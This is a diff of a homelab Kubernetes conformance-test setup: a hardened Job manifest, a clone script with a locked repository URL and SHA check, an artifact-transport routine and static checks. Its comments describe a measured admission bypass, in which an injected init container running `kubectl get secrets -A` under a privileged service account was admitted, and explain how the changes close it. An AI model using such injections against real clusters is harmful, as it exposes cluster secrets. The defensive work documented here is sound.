+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -237,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
                "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
                "Velero itself publishes nothing until a backup is attempted",
     },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
     {
         "owner": "kube-prometheus-stack: bundled kube-state-metrics",
         "prefixes": ("kube_",),

conformance/tests/l0-static/oauth2-proxy-api-routes-per-app/chainsaw-test.yaml

@@ -0,0 +1,134 @@
+# =============================================================================
+# L0 STATIC — `--api-route` is PER APP, ANCHORED, and DECLARED
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. oauth2-proxy answers an unauthenticated request with a 302 to
+# Keycloak. Its built-in AJAX guard would send a 401 instead, but it fires only on an EXACT
+# `Accept: application/json`, which these apps' JavaScript does not consistently send. So a
+# browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied silently by the live Keycloak
+# SSO session, and resolves 200 carrying the app's HTML where the JavaScript expected JSON — no
+# prompt, no console error, nothing logged as a failure. On a WRITE it is worse: a browser
+# following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
+# discarded and the UI reports success.
+#
+# MEASURED, twice, on two different apps and two different paths:
+#   jackett 2026-09-30 — on /api/ paths: 33 x 302 against 2 x 401, and 4 of 6 POSTs answered BY
+#           THE PROXY, never reaching Jackett (access-log upstream field `-`, not `/`). That is
+#           the operator's whole report: "GET works, most PUT/POST to add indexers fail,
+#           reloading never fixes it, and I am never re-prompted for login".
+#   radarr  2026-10-01, 23h after the cookie fix rolled (pod radarr-7d55cbffb9-42hmh, 0
+#           restarts) — 232 unauthenticated requests in the pod's whole lifetime and ALL 232 are
+#           the same call: `POST /signalr/messages/negotiate` from a browser UA, 302, upstream
+#           `-`. A left-open tab whose session the cookie rename orphaned, polling SignalR
+#           forever, silently redirected every time, NEVER re-prompting. The reported symptom,
+#           still running in production, on a service nobody was watching.
+#
+# WHY IT CANNOT BE A RENDERER CONSTANT — AND WHY THAT NEEDS A GATE. The path shape belongs to
+# the APP, not to the forward-auth pattern: radarr's broken path is `/signalr/`, jackett's is
+# `/api/`, and PIHOLE SERVES NO `/api/` AT ALL. One function renders all five sidecars
+# (catalog/render.py::_oauth2_sidecar_container), so the cheap fix is a constant — and a
+# constant applies one app's measurement to four apps nobody measured. The gate that already
+# exists cannot see that mistake: `ci/render-golden.sh` compares the render to the goldens, and
+# a constant plus regenerated goldens AGREE WITH EACH OTHER while both being wrong. Hence
+# assertion (2) below, which compares the rendered flag against each service's OWN
+# ServiceDefinition rather than against the renderer's output.
+#
+# WHY BREADTH IS THE DANGEROUS DIRECTION, AND IT IS NOT SYMMETRIC. A MISSING --api-route is a
+# silent 302 — bad, invisible, recoverable. A TOO BROAD one answers a plain PAGE LOAD with 401:
+# a logged-out operator gets a bare error page and is NEVER OFFERED A SIGN-IN, so the service
+# looks permanently broken and no reload recovers it. That is a worse outcome than the defect
+# the flag fixes, which is why the anchoring rule is asserted on three independent surfaces
+# (schema items.pattern, the renderer, and this check) and why assertion (5) fails if they drift
+# apart — if they do, the loosest one wins silently.
+#
+# GIVEN every oauth2-proxy sidecar this repo DEPLOYS (a container in any manifest at any depth:
+#       the rendered sidecars in apps/, crafty's hand-authored one in platform/), the
+#       ServiceDefinitions in catalog/ that generate five of them, and the renderer itself,
+# WHEN  each sidecar's `--api-route` values are collected (the flag is REPEATABLE, so all of
+#       them, in order) and each onboarded forward-auth service is paired with its golden,
+# THEN  (1) every rendered --api-route is anchored at `^/` and continues with literal path
+#           characters — `^/`, `^/.*`, `.*`, an unanchored `/api/` and any alternation FAIL;
+#       (2) every onboarded forward-auth service's rendered route list EQUALS its own
+#           ServiceDefinition's `auth.apiRoutes`, in order — which fails both a hand-edited
+#           golden and a renderer constant, neither of which render-golden can see;
+#       (3) BOTH cases are live in this tree: at least one service declares routes and at least
+#           one declares none and renders none (the pihole case), so neither path is an
+#           unexercised seam;
+#       (4) `_oauth2_sidecar_container()` reads `auth.apiRoutes` and contains NO literal path
+#           regex — a constant is the defect, back in the one place that reintroduces it
+#           fleet-wide in a single edit;
+#       (5) the anchoring pattern in the renderer and in the schema are the SAME pattern this
+#           check enforces;
+#       (6) the SHIPPED renderer, run as a subprocess on synthetic ServiceDefinitions, emits
+#           exactly the declared routes in order, emits NOTHING for a service declaring none or
+#           an empty list, and REFUSES all five breadth shapes.
+#
+# WHY ALSO A SCHEMA PATTERN, GIVEN THIS CHECK. The schema is the only surface that rejects a
+# too-broad regex WHERE A HUMAN TYPES IT — `ci/l0.sh` validates `catalog/*.yaml` against it on
+# every gate run, so the operator is told at the authoring surface rather than finding out from
+# a 401 on a page load. The renderer's own guard is there because `render-golden` runs even on a
+# gate invocation where the schema stage skipped. This check is there because neither of those
+# can see a renderer constant. Three surfaces, three different blind spots.
+#
+# WHY THIS IS A SIBLING AND NOT PART OF oauth2-proxy-cookie-names-distinct. That check's subject
+# is cookie IDENTITY: its inputs are names and domains, its failure mode is mutual session
+# eviction, its register is the shared proxy's claim on the default name. `--api-route` shares
+# none of those. Bundling them would make that check's name a lie and couple two unrelated
+# ratchets, so a future api-route decision could only be expressed by weakening a COOKIE check —
+# the same discipline that check's own header argues for, applied to this change.
+#
+# WHAT THIS DOES NOT ESTABLISH — read with the handoff entry, not instead of it:
